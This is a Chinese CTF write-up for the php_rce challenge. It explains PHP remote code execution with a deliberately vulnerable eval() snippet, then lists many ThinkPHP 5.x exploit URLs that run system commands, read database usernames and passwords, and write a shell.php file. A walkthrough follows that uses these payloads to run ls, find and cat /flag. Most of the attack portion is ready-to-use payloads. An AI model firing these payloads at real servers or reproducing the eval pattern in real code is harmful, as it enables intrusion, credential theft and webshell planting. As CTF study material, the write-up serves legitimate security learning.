PHP REC
PHP RCE 指的是通過(guò)遠(yuǎn)程代碼執(zhí)行漏洞(Remote Code Execution)來(lái)攻擊 PHP 程序的一種方式。簡(jiǎn)單來(lái)說(shuō),由于PHP應(yīng)用程序沒(méi)有正確處理外部輸入數(shù)據(jù)(如用戶提交的表單、請(qǐng)求參數(shù)等),攻擊者通過(guò)某些手段向 PHP 應(yīng)用程序中注入惡意代碼,然后通過(guò)這些惡意代碼實(shí)現(xiàn)對(duì)受攻擊服務(wù)器的控制。
下面簡(jiǎn)單介紹一種常見(jiàn)的遠(yuǎn)程 RCE 漏洞利用方式,即利用 PHP 中的 eval
函數(shù)實(shí)現(xiàn) RCE 的方式。在該示例中,攻擊者可以通過(guò) HTTP 請(qǐng)求向目標(biāo)服務(wù)器傳遞 PHP 代碼,并執(zhí)行該代碼:
// 服務(wù)端代碼
$user_input = $_GET['user_input']; // 沒(méi)有對(duì)輸入進(jìn)行過(guò)濾
eval('$result = ' . $user_input . ';'); // 遠(yuǎn)程代碼執(zhí)行
// 攻擊者構(gòu)造惡意代碼
http://example.com/index.php?user_input=system('ls%20-la');
//遠(yuǎn)程執(zhí)行 "ls -la" 命令。
由于服務(wù)器代碼沒(méi)有對(duì) user_input 的內(nèi)容進(jìn)行過(guò)濾和驗(yàn)證,攻擊者可以通過(guò) user_input 參數(shù)發(fā)送任意 PHP 代碼,并將其作為一個(gè)字符串傳遞給 eval 函數(shù)進(jìn)行執(zhí)行,成功實(shí)現(xiàn)ls -la命令。
在 Unix/Linux 系統(tǒng)中,ls -la 命令可以列出當(dāng)前目錄下的所有文件和子目錄,并顯示它們的詳細(xì)信息,包括權(quán)限、創(chuàng)建時(shí)間、大小等等。
ThinkPHP V5漏洞Payload
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.
1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
5.0.20
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
姿勢(shì)
使用thinkphp 5.1.payload,URL + /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回顯如下:
提示使用5.0.20版本PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回顯如下:
說(shuō)明命令執(zhí)行成功
接著抓取flag即可
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
由上圖可知,flag字段儲(chǔ)存在flag文件夾下的flag文件中
使用cat命令讀取flag
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
命令解析及詳析姿勢(shì)參考:[CTF/網(wǎng)絡(luò)安全] 攻防世界 command_execution 解題詳析
回顯如下:文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-739818.html
總結(jié)
該題結(jié)合部分Linux命令
考察ThinkPHP V5漏洞
我是秋說(shuō),我們下次見(jiàn)。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-739818.html
到了這里,關(guān)于[CTF/網(wǎng)絡(luò)安全] 攻防世界 php_rce 解題詳析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!